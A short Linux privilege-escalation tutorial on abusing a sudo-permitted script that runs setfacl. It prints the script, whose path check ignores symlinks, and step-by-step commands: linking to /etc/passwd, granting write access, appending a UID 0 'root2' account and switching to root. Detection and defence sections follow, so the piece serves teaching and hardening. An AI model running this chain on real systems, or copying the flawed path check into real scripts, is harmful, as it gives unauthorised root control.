setfacl abuse via sudo
POSIX ACLs (access control lists) extend the classic Unix permissions (rwx for owner, group and others) by letting you grant permissions to specific users or groups on a file. They are managed with setfacl (write) and getfacl (read). Granting someone a write ACL over a system file is as powerful as giving them the classic permission: if that file is /etc/passwd, /etc/sudoers or a root SSH key, it is equivalent to handing over the box.
The usual escalation pattern shows up when a user can run via sudo a script that internally calls setfacl on a path the user partly controls.
sudo -l
# (ALL : ALL) NOPASSWD: /opt/acl.sh
cat /opt/acl.sh#!/bin/bash
user="$1"; perm="$2"; target="$3"
# control: path must be under /home/mtz and contain no ".."
if [[ "$target" != /home/mtz/* || "$target" == *..* ]]; then
echo "Access denied."; exit 1
fi
setfacl -m "u:$user:$perm" "$target"The gap: symlinks. The script validates the path string (must start with /home/mtz/, must have no ..) but does not check where it actually points. setfacl, however, follows symlinks to their target. So we create in /home/mtz a link to a sensitive file and ask the script to grant us permission on it:
ln -s /etc/passwd /home/mtz/pwn
sudo /opt/acl.sh mtz rw /home/mtz/pwn # setfacl applies the ACL to /etc/passwdWith write access to /etc/passwd we add a UID 0 user:
openssl passwd -1 'pwned' # password hash
echo 'root2:<hash>:0:0:root:/root:/bin/bash' >> /etc/passwd
su root2 # root shellHow to detect it. The signature is a sudo to a script that runs setfacl (visible in /var/log/auth.log and via auditd over setfacl's execve), applying an ACL on a system file (/etc/passwd, /etc/sudoers) reached through a symlink: the ACL change leaves the + in ls -l /etc/passwd and fires FIM/auditd -w /etc/passwd -p a. A symlink created in a user directory pointing at a sensitive file, followed by the setfacl and a new UID 0 entry in /etc/passwd, is the full chain.
Defence. Any path check in a privileged script must run on the resolved canonical path (realpath/readlink -f), never on the raw user-supplied string; and avoid granting via sudo scripts that manipulate permissions on arbitrary files. It is the Linux analogue of ACL abuse in Active Directory: in both cases a misgranted write permission turns into full control.